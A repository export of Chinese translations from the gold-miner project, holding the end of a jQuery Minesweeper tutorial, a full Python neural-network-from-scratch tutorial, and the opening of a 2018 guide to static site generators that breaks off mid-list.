function()\n{\n\tgameOver = true;\n\t$('#messageBox').text('Game Over!')\n\t\t\t\t\t.css({'color':'white', \n\t\t\t\t\t\t  'background-color': 'red'});\n\tvar cells = Object.keys(board);\n\tfor( var i = 0; i < cells.length; i++ )\n\t{\n\t\tif( board[cells[i]].mined && !board[cells[i]].flagged )\n\t\t{\n\t\t\t$('#' + board[cells[i]].id ).html( MINE )\n\t\t\t\t\t\t\t\t\t\t.css('color', 'black');\n\t\t}\n\t}\n\tclearInterval(timeout);\n}\n```\n\n当游戏失败，我们设置全局变量 `gameOver` 的值，然后显示一条消息，让玩家知道游戏已经结束。我们还循环遍历每个单元格并显示地雷出现的位置。然后我们停止计时。\n\n其次，我们还有 `getNumberColor` 函数。这个函数负责给出相邻单元格的地雷数显示的颜色。\n\n```js\n// 传入一个数字并返回颜色的 JavaScript 代码：\nvar getNumberColor = function( number )\n{\n\tvar color = 'black';        \n\tif( number === 1 )\n\t{\n\t\tcolor = 'blue';\n\t}\n\telse if( number === 2 )\n\t{\n\t\tcolor = 'green';\n\t}\n\telse if( number === 3 )\n\t{\n\t\tcolor = 'red';\n\t}\n\telse if( number === 4 )\n\t{\n\t\tcolor = 'orange';\n\t}\n\treturn color;\n}\n```\n\n我试着把颜色搭配起来，就像经典的 Windows 版扫雷游戏那样。也许我应该用 [switch](https://www.w3schools.com/js/js_switch.asp) 语句，但我已经不考虑游戏被扩展的情况了，这没什么大不了的。让我们继续看看标记单元格的逻辑代码。\n\n### 标记单元格\n\n```js\n// 用于在单元格上放置标记的 JavaScript 代码：\nvar handleRightClick = function( id )\n{\n\tif( !gameOver )\n\t{\n\t\tvar cell = board[id];\n\t\tvar $cell = $( '#' + id );\n\t\tif( !cell.opened )\n\t\t{\n\t\t\tif( !cell.flagged && minesRemaining > 0 )\n\t\t\t{\n\t\t\t\tcell.flagged = true;\n\t\t\t\t$cell.html( FLAG ).css( 'color', 'red');\n\t\t\t\tminesRemaining--;\n\t\t\t}\n\t\t\telse if( cell.flagged )\n\t\t\t{\n\t\t\t\tcell.flagged = false;\n\t\t\t\t$cell.html( \"\" ).css( 'color', 'black');\n\t\t\t\tminesRemaining++;\n\t\t\t}\n\n\t\t\t$( '#mines-remaining').text( minesRemaining );\n\t\t}\n\t}\n}\n```\n\n右键单击一个单元格将在其上放置一个标记。如果玩家右键点击了一个没有被标记的单元格，并且当前游戏还有剩余的地雷需要被标记，我们将在单元格上插上小红旗作为标记，并将其 `flagged` 属性更新为 `true`，同时减少剩余地雷的数量。如果单元格已经有了一个标志，则执行相反的操作。最后，我们更新显示的剩余地雷数量。\n\n### 翻开所有相邻单元格\n\n```js\n// 处理 ctrl + 左键的 JavaScript 代码\nvar handleCtrlClick = function( id )\n{\n\tvar cell = board[id];\n\tvar $cell = $( '#' + id );\n\tif( cell.opened && cell.neighborMineCount > 0 )\n\t{\n\t\tvar neighbors = getNeighbors( id );\n\t\tvar flagCount = 0;\n\t\tvar flaggedCells = [];\n\t\tvar neighbor;\n\t\tfor( var i = 0; i < neighbors.length; i++ )\n\t\t{\n\t\t\tneighbor = board[neighbors[i]];\n\t\t\tif( neighbor.flagged )\n\t\t\t{\n\t\t\t\tflaggedCells.push( neighbor );\n\t\t\t}\n\t\t\tflagCount += neighbor.flagged;\n\t\t}\n\n\t\tvar lost = false;\n\t\tif( flagCount === cell.neighborMineCount )\n\t\t{\n\t\t\tfor( i = 0; i < flaggedCells.length; i++ )\n\t\t\t{\n\t\t\t\tif( flaggedCells[i].flagged && !flaggedCells[i].mined )\n\t\t\t\t{\n\t\t\t\t\tloss();\n\t\t\t\t\tlost = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif( !lost )\n\t\t\t{\n\t\t\t\tfor( var i = 0; i < neighbors.length; i++ )\n\t\t\t\t{\n\t\t\t\t\tneighbor = board[neighbors[i]];\n\t\t\t\t\tif( !neighbor.flagged && !neighbor.opened )\n\t\t\t\t\t{\n\t\t\t\t\t\tctrlIsPressed = false;\n\t\t\t\t\t\thandleClick( neighbor.id );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n我们已经介绍了打开单元格和标记单元格的操作，所以让我们来介绍玩家可以进行的最后一项操作：打开处于打开状态单元格的相邻单元格。`handleCtrlClick` 函数就是用来处理这个逻辑的。可以通过按住 ctrl 并左键单击一个处于打开状态的且包含相邻地雷的单元格来执行此操作。\n\n如果这样，我们要做的第一件事是创建一个相邻被标记的单元格列表。如果相邻被标记单元格的数量与周围地雷的实际数量相匹配，那么我们继续。否则，我们什么也不做，直接退出函数。\n\n如果继续，接下来要做的就是检查被标记的单元格中是否包含地雷。如果是，我们便知道玩家错误地预测了地雷的位置，并且将要翻开所有未标记的相邻单元格导致游戏失败。我们需要设置局部变量 `lost` 的值并调用 `loss` 函数。前面已经讨论了 `loss` 函数。\n\n如果游戏仍然没有失败，那么我们将需要打开所有未标记的相邻单元格。我们只需要循环遍历它们，并在每个函数上调用 `handleClick` 函数。但是，我们必须首先将 `ctrlIsPressed` 变量设置为 `false`，以防止错误地执行 `handleCtrlClick` 函数。\n\n## 开始游戏\n\n我们几乎完成了对编写扫雷游戏所需的所有 JavaScript 逻辑的分析！剩下要讨论的就是开始新游戏所需的初始化步骤。\n\n```js\n// 用于初始化扫雷游戏的 JavaScript 代码\nvar FLAG = \"&#9873;\";\nvar MINE = \"&#9881;\";\nvar boardSize = 10;\nvar mines = 10;\nvar timer = 0;\nvar timeout;\nvar minesRemaining;\n\n$(document).keydown(function(event){\n    if(event.ctrlKey)\n        ctrlIsPressed = true;\n});\n\n$(document).keyup(function(){\n    ctrlIsPressed = false;\n});\n\nvar ctrlIsPressed = false;\nvar board = newGame( boardSize, mines );\n\n$('#new-game-button').click( function(){\n\tboard = newGame( boardSize, mines );\n})\n```\n\n我们要做的第一件事就是初始化一些变量。我们需要定义常量来存储小旗和地雷图标的 [html 代码]()。我们还需要一些常量来存储游戏面板的大小、地雷的总数、计时器和剩余地雷的数量。\n\n此外，如果玩家按下 ctrl 键，我们需要一个变量来存储是否按下了 ctrl 键。我们使用 jQuery 将事件处理程序添加到 `document` 中，用来设置 `ctrlIsPressed` 变量的值。\n\n最后，我们调用 `newGame` 函数并将该函数绑定到 new game 按钮。\n\n### 辅助函数\n\n```js\n// 开始新的扫雷游戏的 JavaScript 代码\nvar newGame = function( boardSize, mines )\n{\n\t$('#time').text(\"0\");\n\t$('#messageBox').text('Make a Move!')\n\t\t\t\t\t.css({'color': 'rgb(255, 255, 153)', \n\t\t\t\t\t\t  'background-color': 'rgb(102, 178, 255)'});\n\tminesRemaining = mines;\n\t$( '#mines-remaining').text( minesRemaining );\n\tgameOver = false;\n\tinitializeCells( boardSize );\n\tboard = Board( boardSize, mines );\n\ttimer = 0;\n\tclearInterval(timeout);\n\ttimeout = setInterval(function () {\n    // This will be executed after 1,000 milliseconds\n    timer++;\n    if( timer >= 999 )\n    {\n    \ttimer = 999;\n    }\n    $('#time').text(timer);\n\t}, 1000);\n\n\treturn board;\n}\n```\n\n`newGame` 函数负责重置变量，使我们的游戏处于随时可以玩的状态。这包括重置显示给玩家的消息、调用 `initializeCells`，以及创建一个新的随机游戏面板。它还包括重置时计时器，并且每秒钟更新一次。\n\n让我们通过看 `initializeCells` 来总结一下。\n\n```js\n// 用于将单击处理程序附加到单元格并检查胜利条件的 JavaScript 代码\nvar initializeCells = function( boardSize ) \n{\n\tvar row  = 0;\n\tvar column = 0;\n\t$( \".cell\" ).each( function(){\n\t\t$(this).attr( \"id\", row + \"\" + column ).css('color', 'black').text(\"\");\n\t\t$('#' + row + \"\" + column ).css('background-image', \n\t\t\t\t\t\t\t\t\t\t'radial-gradient(#fff,#e6e6e6)');\n\t\tcolumn++;\n\t\tif( column >= boardSize )\n\t\t{\n\t\t\tcolumn = 0;\n\t\t\trow++;\n\t\t}\n\n\t\t$(this).off().click(function(e)\n\t\t{\n\t\t    handleClick( $(this).attr(\"id\") );\n\t\t    var isVictory = true;\n\t\t\tvar cells = Object.keys(board);\n\t\t\tfor( var i = 0; i < cells.length; i++ )\n\t\t\t{\n\t\t\t\tif( !board[cells[i]].mined )\n\t\t\t\t{\n\t\t\t\t\tif( !board[cells[i]].opened )\n\t\t\t\t\t{\n\t\t\t\t\t\tisVictory = false;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif( isVictory )\n\t\t\t{\n\t\t\t\tgameOver = true;\n\t\t\t\t$('#messageBox').text('You Win!').css({'color': 'white',\n\t\t\t\t\t\t\t\t\t\t\t\t\t   'background-color': 'green'});\n\t\t\t\tclearInterval( timeout );\n\t\t\t}\n\t\t});\n\n\t\t$(this).contextmenu(function(e)\n\t\t{\n\t\t    handleRightClick( $(this).attr(\"id\") );\n\t\t    return false;\n\t\t});\n\t})\n}\n```\n\n这个函数的主要目的是向单元格 DOM 对象添加额外的属性。每个单元格 DOM 都需要添加对应的 id，以便我们能够从游戏逻辑中轻松地访问它。每个单元格还需要一个合适的背景图像。\n\n我们还需要为每个单元格 DOM 添加一个单击处理程序，以便能够监听左击和右击事件。\n\n处理左击事件调用 `handleClick` 函数，传入对应的 `id`。然后检查是否每个没有地雷的单元格都被打开了。如果这是真的，那么游戏胜利，我们可以适当地祝贺一下他/她。\n\n处理右击事件调用 `handleRightClick`，同样传入对应的 `id`，然后返回 `false`。这样会阻止 Web 页面右键单击显示上下文菜单的默认行为。对于一般的 [CRUD](https://en.wikipedia.org/wiki/Create,_read,_update_and_delete) 应用程序，你可能不希望这样处理，但是对于扫雷游戏，这是合适的。\n\n## 总结\n\n祝贺你，已经学习了如何使用 JavaScript 编写扫雷游戏！看起来有很多的代码，但希望我们把它分解成这样不同的模块，是有意义的。我们肯定可以对这个程序的可重用性、可扩展性和可读性做更多的改进。我们也没有详细介绍 HTML 或 CSS 代码。如果你有任何问题或有改进代码的方法，我很乐意在评论中听到你的意见！\n\n如果这篇文章让你想要更多地了解如何用 JavaScript 编写更好的程序，我推荐一本 JavaScript 书：《JavaScript 语言精粹》，作者是 Douglas Crockford。他将 JSON 推广为一种数据交换的格式，并为 Web 的发展做出了巨大贡献。\n\n多年来，该 JavaScript 语言得到了极大的改进，但由于其发展的历史，它仍然具有一些奇怪的特性。这本书会帮助你更好的理解这本语言在设计上存在的问题（如全局命名空间）。当我第一次学习这门语言时，我发现它很有帮助。\n\n[![JavaScript: The Good Parts book](//ws-na.amazon-adsystem.com/widgets/q?_encoding=UTF8&MarketPlace=US&ASIN=0596517742&ServiceVersion=20070822&ID=AsinImage&WS=1&Format=_SL250_&tag=mitchumblog-20)](https://www.amazon.com/gp/product/0596517742/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=0596517742&linkCode=as2&tag=mitchumblog-20&linkId=fa7b0d5ed5bb3d96797d9b9f54a40e32)\n\n如果你决定拥有它，并且通过上面的链接购买我会非常地感谢你。我将通过亚马逊的会员计划获得一些佣金，不需要你付额外的费用。它将帮助我维护这个网站的正常运行，而不用求助于烦人的广告。我宁愿推荐我认为对你们有帮助的产品。\n\n好了，广告到此为止。我希望你们有一个愉快的阅读体验。让我知道你还想看什么其他类似的简单游戏，不要忘记留下你的电子邮件，这样你就不会错过写一篇文章。你还会收到我的免费推送内容，如何更好地编写函数。\n\n祝好！\n\n**更新(2019/7/13日)**：这篇文章比我想象的更受欢迎，太棒了！我从读者那里收到了很多关于可以改进的方面的反馈。我每天都在做维护一个代码库的工作，直到现在这个代码库还停留在 Internet Explorer [怪异模式](https://en.wikipedia.org/wiki/Quirks_mode)。我在工作中的许多编码习惯都转移到了我在扫雷游戏上，导致一些代码没有利用 JavaScript 技术的前沿。之后，我想在另一篇文章中重构代码。我计划完全删除 jQuery，并在适当的地方使用 ES6 语法而不是 ES5。但你不用等我！看看你自己能否完成这些工作！请在评论中告诉我进展如何。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-build-your-own-neural-network-from-scratch-in-python.md",
    "content": "> * 原文地址：[How to build your own Neural Network from scratch in Python](https://towardsdatascience.com/how-to-build-your-own-neural-network-from-scratch-in-python-68998a08e4f6)\n> * 原文作者：[James Loy](https://towardsdatascience.com/@jamesloyys)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-your-own-neural-network-from-scratch-in-python.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-build-your-own-neural-network-from-scratch-in-python.md)\n> * 译者：[JackEggie](https://github.com/JackEggie)\n> * 校对者：[lsvih](https://github.com/lsvih), [xionglong58](https://github.com/xionglong58)\n\n# 如何用 Python 从零开始构建你自己的神经网络\n\n> 一个帮助初学者理解深度神经网络内部工作机制的指南\n\n**写作动机：** 为了使我自己可以更好地理解深度学习，我决定在没有像 TensorFlow 这样的深度学习库的情况下，从零开始构建一个神经网络。我相信，理解神经网络的内部工作原理对任何有追求的数据科学家来说都很重要。\n\n这篇文章包含了我所学到的东西，希望对你们也有用。\n\n## 什么是神经网络？\n\n大多数介绍神经网络的文章在描述它们时都会与大脑做类比。在不深入研究与大脑类似之处的情况下，我发现将神经网络简单地描述为给定输入映射到期望输出的数学函数更容易理解一些。\n\n神经网络由以下几个部分组成：\n\n*   一个**输入层**，**_x_**\n*   任意数量的**隐含层**\n*   一个**输出层**，**_ŷ_**\n*   层与层之间的一组**权重**和**偏差**，**_W_ 和 _b_**\n*   每个隐含层中所包含的一个可选的**激活函数**，**_σ_**。在本教程中，我们将使用 Sigmoid 激活函数。\n\n下图展示了 2 层神经网络的架构（**注：在计算神经网络中的层数时，输入层通常被排除在外**）\n\n![](https://cdn-images-1.medium.com/max/1600/1*sX6T0Y4aa3ARh7IBS_sdqw.png)\n\n2 层神经网络的架构\n\n在 Python 中创建一个神经网络的类很简单。\n\n```python\nclass NeuralNetwork:\n    def __init__(self, x, y):\n        self.input      = x\n        self.weights1   = np.random.rand(self.input.shape[1],4) \n        self.weights2   = np.random.rand(4,1)                 \n        self.y          = y\n        self.output     = np.zeros(y.shape)\n```\n\n**训练神经网络**\n\n一个简单的 2 层神经网络的输出 **_ŷ_** 如下：\n\n![](https://cdn-images-1.medium.com/max/1600/1*E1_l8PGamc2xTNS87XGNcA.png)\n\n你可能注意到了，在上面的等式中，只有权重 **_W_** 和偏差 **_b_** 这两个变量会对输出 **_ŷ_** 产生影响。\n\n当然，合理的权重和偏差会决定预测的准确程度。将针对输入数据的权重和偏差进行微调的过程就是**训练神经网络**的过程。\n\n训练过程的每次迭代包括以下步骤：\n\n*   计算预测输出的值 **_ŷ_**，即**前馈**\n*   更新权重和偏差，即**反向传播**\n\n下面的序列图展示了这个过程。\n\n![](https://cdn-images-1.medium.com/max/1600/1*CEtt0h8Rss_qPu7CyqMTdQ.png)\n\n### 前馈过程\n\n正如我们在上面的序列图中看到的，前馈只是一个简单的计算过程，对于一个基本的 2 层神经网络，它的输出是：\n\n![](https://cdn-images-1.medium.com/max/1600/1*E1_l8PGamc2xTNS87XGNcA.png)\n\n让我们在 Python 代码中添加一个前馈函数来实现这一点。注意，为了简单起见，我们假设偏差为 0。\n\n```python\nclass NeuralNetwork:\n    def __init__(self, x, y):\n        self.input      = x\n        self.weights1   = np.random.rand(self.input.shape[1],4) \n        self.weights2   = np.random.rand(4,1)                 \n        self.y          = y\n        self.output     = np.zeros(self.y.shape)\n\n    def feedforward(self):\n        self.layer1 = sigmoid(np.dot(self.input, self.weights1))\n        self.output = sigmoid(np.dot(self.layer1, self.weights2))\n```\n\n但是，我们仍然需要一种方法来评估预测的“精准程度”（即我们的预测有多好）？而**损失函数**能让我们做到这一点。\n\n### 损失函数\n\n可用的损失函数有很多，而我们对损失函数的选择应该由问题本身的性质决定。在本教程中，我们将使用简单的**平方和误差**作为我们的损失函数。\n\n![](https://cdn-images-1.medium.com/max/1600/1*iNa1VLdaeqwUAxpNXs3jwQ.png)\n\n这就是说，平方和误差只是每个预测值与实际值之差的总和。我们将差值平方后再计算，以便我们评估误差的绝对值。\n\n**训练的目标是找到能使损失函数最小化的一组最优的权值和偏差。**\n\n### 反向传播过程\n\n现在我们已经得出了预测的误差（损失），我们还需要找到一种方法将误差**传播**回来，并更新我们的权重和偏差。\n\n为了得出调整权重和偏差的合适的量，我们需要计算**损失函数对于权重和偏差的导数**。\n\n回忆一下微积分的知识，计算函数的导数就是计算函数的斜率。\n\n![](https://cdn-images-1.medium.com/max/1600/1*3FgDOt4kJxK2QZlb9T0cpg.png)\n\n梯度下降算法\n\n如果我们已经算出了导数，我们就可以简单地通过增大/减小导数来更新权重和偏差（参见上图）。这就是所谓的**梯度下降**。\n\n然而，我们无法直接计算损失函数对于权重和偏差的导数，因为损失函数的等式中不包含权重和偏差。 因此，我们需要**链式法则**来帮助我们进行计算。\n\n![](https://cdn-images-1.medium.com/max/1600/1*7zxb2lfWWKaVxnmq2o69Mw.png)\n\n为了更新权重使用链式法则求解函数的导数。注意，为了简单起见，我们只展示了假设为 1 层的神经网络的偏导数。\n\n哦！这真难看，但它让我们得到了我们需要的东西 —— 损失函数对于权重的导数（斜率），这样我们就可以相应地调整权重。\n\n现在我们知道要怎么做了，让我们向 Pyhton 代码中添加反向传播函数。\n\n```python\nclass NeuralNetwork:\n    def __init__(self, x, y):\n        self.input      = x\n        self.weights1   = np.random.rand(self.input.shape[1],4) \n        self.weights2   = np.random.rand(4,1)                 \n        self.y          = y\n        self.output     = np.zeros(self.y.shape)\n\n    def feedforward(self):\n        self.layer1 = sigmoid(np.dot(self.input, self.weights1))\n        self.output = sigmoid(np.dot(self.layer1, self.weights2))\n\n    def backprop(self):\n        # 应用链式法则求出损失函数对于 weights2 和 weights1 的导数\n        d_weights2 = np.dot(self.layer1.T, (2*(self.y - self.output) * sigmoid_derivative(self.output)))\n        d_weights1 = np.dot(self.input.T,  (np.dot(2*(self.y - self.output) * sigmoid_derivative(self.output), self.weights2.T) * sigmoid_derivative(self.layer1)))\n\n        # 用损失函数的导数(斜率)更新权重\n        self.weights1 += d_weights1\n        self.weights2 += d_weights2\n```\n\n如果你需要更深入地理解微积分和链式法则在反向传播中的应用，我强烈推荐 3Blue1Brown 的教程。\n\n观看[视频教程](https://youtu.be/tIeHLnjs5U8)\n\n## 融会贯通\n\n现在我们已经有了前馈和反向传播的完整 Python 代码，让我们将神经网络应用到一个示例中，看看效果如何。\n\n![](https://cdn-images-1.medium.com/max/1600/1*HaC4iILh2t0oOKi6S6FwtA.png)\n\n我们的神经网络应该通过学习得出一组理想的权重来表示这个函数。请注意，仅仅是求解权重的过程对我们来说也并不简单。\n\n让我们对神经网络进行 1500 次训练迭代，看看会发生什么。观察下图中每次迭代的损失变化，我们可以清楚地看到损失**单调递减至最小值**。这与我们前面讨论的梯度下降算法是一致的。\n\n![](https://cdn-images-1.medium.com/max/1600/1*fWNNA2YbsLSoA104K3Z3RA.png)\n\n让我们看一下经过 1500 次迭代后神经网络的最终预测（输出）。\n\n![](https://cdn-images-1.medium.com/max/1600/1*9oOlYhhOSdCUqUJ0dQ_KxA.png)\n\n1500 次训练迭代后的预测结果\n\n我们成功了！我们的前馈和反向传播算法成功地训练了神经网络，预测结果收敛于真实值。\n\n请注意，预测值和实际值之间会存在细微的偏差。我们需要这种偏差，因为它可以防止**过拟合**，并允许神经网络更好地**推广**至不可见数据中。\n\n## 后续的学习任务\n\n幸运的是，我们的学习旅程还未结束。关于神经网络和深度学习，我们还有**很多**内容需要学习。例如：\n\n*   除了 Sigmoid 函数，我们还可以使用哪些**激活函数**？\n*   在训练神经网络时使用**学习率**\n*   使用**卷积**进行图像分类任务\n\n我将会就这些主题编写更多内容，请在 Medium 上关注我并留意更新！\n\n## 结语\n\n当然，我也在从零开始编写我自己的神经网络的过程中学到了很多。\n\n虽然像 TensorFlow 和 Keras 这样的深度学习库使得构建深度神经网络变得很简单，即使你不完全理解神经网络内部工作原理也没关系，但是我发现对于有追求的数据科学家来说，深入理解神经网络是很有好处的。\n\n这个练习花费了我大量的时间，我希望它对你们也有帮助！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-choose-the-best-static-site-generator-in-2018.md",
    "content": "> * 原文地址：[How to Choose the Best Static Site Generator in 2018](https://medium.com/dailyjs/how-to-choose-the-best-static-site-generator-in-2018-98bff61c8184)\n> * 原文作者：[Mathieu Dionne](https://medium.com/@MathDy24?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-choose-the-best-static-site-generator-in-2018.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-choose-the-best-static-site-generator-in-2018.md)\n> * 译者：[ssshooter](https://github.com/ssshooter)\n> * 校对者：[dandyxu](https://github.com/dandyxu) [lihanxiang](https://github.com/lihanxiang)\n\n# 2018 年，如何选择最好的静态站点生成器\n\n![](https://cdn-images-1.medium.com/max/800/1*4877k4Hq9dPdtmvg9hnGFA.jpeg)\n\n截止到现在已经有非常多静态站点生成器了。\n\n即使我们已经做了 15+（还在增加）个[演示和教程](https://snipcart.com/blog/categories/jamstack)，也无法覆盖所有静态站点生成器。\n\n我难以理解 [JAMstack](https://jamstack.org/) 和静态页面生态系统的开发人员的感受…\n\n![](https://cdn-images-1.medium.com/max/800/0*YikT2JWUObtnzO0d.gif)\n\n大概像爱丽丝踏入仙境那样吧。\n\n为了解决这个问题，我们决定把我们的知识综合到一块。\n\n本文结束时，你应该能够**对各个项目都能找到对应的最佳静态站点生成器（Static site generators 缩写 SSG）。**\n\n你可以学习到以下内容：\n\n1. 它们是什么（以及为什么要使用它们）。\n2. 现在最好的静态站点生成器是什么。\n3. 在选择 **SSG** 之前的注意事项。\n\n![](https://cdn-images-1.medium.com/max/800/1*4877k4Hq9dPdtmvg9hnGFA.jpeg)\n\n### 1. 静态站点生成器是什么？\n\n如果你看本文的目标是寻找合适的 SSG，那么你应该很清楚 SSG 是什么啦，不过我在这里解释一下也无伤大雅。\n\n静态网站不是什么新鲜事物。它们是我们在动态 CMS（WordPress，Drupal 等）之前用来构建 Web 的方式。\n\n那有什么新特性？\n\n过去几年中出现的现代的静态站点生成器，扩展了静态站点的功能。\n\n简而言之，静态站点生成器会获取您的站点内容，将其应用于模板，并生成纯静态 HTML 文件，以便传递给访问者。\n\n![](https://cdn-images-1.medium.com/max/800/0*xztT5nlj6UvKWHU-.png)\n\n与传统的 CMS 相比，这一处理过程带来了许多好处。\n\n### 为什么要使用 SSG？\n\n每次访问者在内容繁多的网站上跳转，必须动态地从数据库中提取信息，这可能导致页面呈现速度慢，从而用户流失。\n\nSSG 将已编译的文件提供给浏览器，大大减少了加载时间。\n\n→ **安全性和可靠性**\n\n使用动态 CMS 开发的最大威胁之一是缺乏安全性。动态 CMS 复杂的后端架构产生了很多潜在风险。\n\n而使用静态设置，几乎没有使用服务器端功能。\n\n→ **灵活性**\n\n老旧繁琐的传统 CMS 不灵活。扩展的唯一方法是使用现有插件，或者为某个平台定制。如果不懂技术直接用倒是很爽，但开发人员发现自己各种被束缚。\n\nSSG 对技术要求可能会稍高，但自由度同样也高。他们中的大多数还有插件生态系统，主题和易于插入第三方服务。此外，使用其核心编程语言的可扩展性是无限的。\n\n→ **他们的弱点……正在消失。**\n\n随着 SSG 生态系统的不断发展，很多主要问题都被新工具解决。\n\n**内容管理和管理任务**对于没有技术背景的用户来说可能并不简单。但好消息是，现在有大量的 headless CMS（无头 CMS） 可以[完善](https://snipcart.com/blog/headless-ecommerce-guide)你的 SSG。headless 和传统 CMS 之间的区别在于，您只能将前者用于“内容管理”任务，而不是模板和前端内容生成。你总会发现一个适合你的需求。\n\n一些静态站点 CMS 直接支持SSG。例如，Jekyll 和 Hugo 的 [Forestry](https://forestry.io/#/) 或者普遍适用的 [DatoCMS](https://www.datocms.com/)。\n\n如果你需要一些**动态的特性**，也有很多很棒的服务可供选择：\n\n*   实现后端功能的 [Serverless](https://serverless.com/) 或 [Webtask](https://webtask.io/)\n*   用于部署的 [Netlify](https://www.netlify.com/)\n*   用于搜索的 [Algolia](https://www.algolia.com/)\n*   电商方面可以考虑 Snipcart\n*   用户生成内容（如评论）可以考虑 [Disqus](https://disqus.com/) 或 [Staticman](https://staticman.net/)\n\n\n这里只是[其中](https://www.thenewdynamic.org/tool/)几个例子。\n\n> **通过将这些开发进度转化为业务优势，将 JAMstack 和静态站点生成器发布给你的客户，[**阅读本指南**](https://snipcart.com/blog/jamstack-clients-static-site-cms)了解更多。**\n\n![](https://cdn-images-1.medium.com/max/800/1*4877k4Hq9dPdtmvg9hnGFA.jpeg)\n\n### 2. 应该选择哪个静态站点生成器？\n\n了解 SSG 是什么是一方面，弄明白哪个 SSG 更适合自己又是另一回事了。\n\n网上有超过 400 种 SSG。如果你要是从静态 Web 开始开发，以下内容将有助于你的决策！\n\n我将介绍其中最好的一部分，但请记住它仅仅是所有现有 SSG 种的一小部分。完整列表建议访问[staticgen.com](https://www.staticgen.com/)。\n\n### 2.1 2018年最佳静态站点生成器\n\n在本节中，我将为你介绍那些广为人知并且可以满足大多数项目的需求的 SSG。这个推荐基于这些项目的热度，也取决于我们团队建立[数十个 JAMstack demo](https://github.com/snipcart) 的经验。\n\n[**Jekyll**](https://jekyllrb.com/)\n\n![](https://cdn-images-1.medium.com/max/800/0*xlMOOB3Swx-sifym.png)\n\nJekyll 仍然是最受欢迎的 SSG，具有庞大的用户群和大量插件。作为个人博客非常适合，也被电子商务网站广泛使用。\n\nJekyll 对新手来说的一个主要卖点是各种 **importer**。它能使现有站点相对轻松地迁移到 Jekyll。例如，如果你有 WordPress 站点，则可以使用 importer 切换到 Jekyll。\n\n并且，Jekyll 可以让你专注于内容而无需担心数据库，更新和评论审核，同时保留永久链接，类别，页面，帖子和自定义布局。\n\nJekyll 用 Ruby 构建，并集成到 GitHub Pages 中，因此被黑客攻击的风险要低得多。主题可以简单更换，自带 SEO，并且 Jekyll 社区提供了大量的自定义插件。\n\n→ Jekyll 教程：\n\n*   [静态电商网站：集成 Snipcart 与 Jekyll](https://snipcart.com/blog/static-site-e-commerce-part-2-integrating-snipcart-with-jekyll)\n*   [Jekyll CloudCannon CMS：构建多语言网站](https://snipcart.com/blog/cms-jekyll-cloud-cannon-multilingual)\n*   [Staticman 用户内容生成 + Jekyll 静态网站](https://snipcart.com/blog/staticman-dynamic-content-static-website)\n\n* * *\n\n[**Gatsby**](https://www.gatsbyjs.org/)\n\n![](https://cdn-images-1.medium.com/max/800/0*QtVY1u5_t419rHWH.png)\n\nGatsby 将静态页面带到前端技术栈，依靠浏览器端 JavaScript，可重用 API 和预构建标记。这是一个易用的解决方案，可以使用React.js，Webpack，现代 JavaScript，CSS 等创建 SPA（单页应用程序）。\n\nGatsby.js 是一个静态 PWA（Progressive Web App）生成器。它仅提取关键的 HTML，CSS，数据和 JavaScript，以便您的网站尽可能快地加载。\n\n其丰富的数据插件生态系统允许网站从无头 CMS，SaaS 服务，API，数据库，文件系统等渠道拉取数据。\n\nGatsby 应用广泛，对于需要利用来自多个来源的数据的站点而言，它是不二之选。它正在走向顶峰，如果它在未来几个月成为头号 SSG，请不要感到惊讶。\n\n哦，它也可能解决了 SSG 最大的开发难题之一：长原子构建（long atomic build）。创作者 Kyle Matthews 以 Gatsby 为主[最近建立了一家公司](https://thenewstack.io/gatsbyjs-the-open-source-react-based-SSG-creates-company-to-evolve-cloud-native-website-builds/)。Gatsby Inc. 将为 Gatsby 网站构建一个云基础架构，可以实现增量构建，甚至可以说是改变了 SSG 的游戏规则了。\n\n→ Gatsby 教程：\n\n*   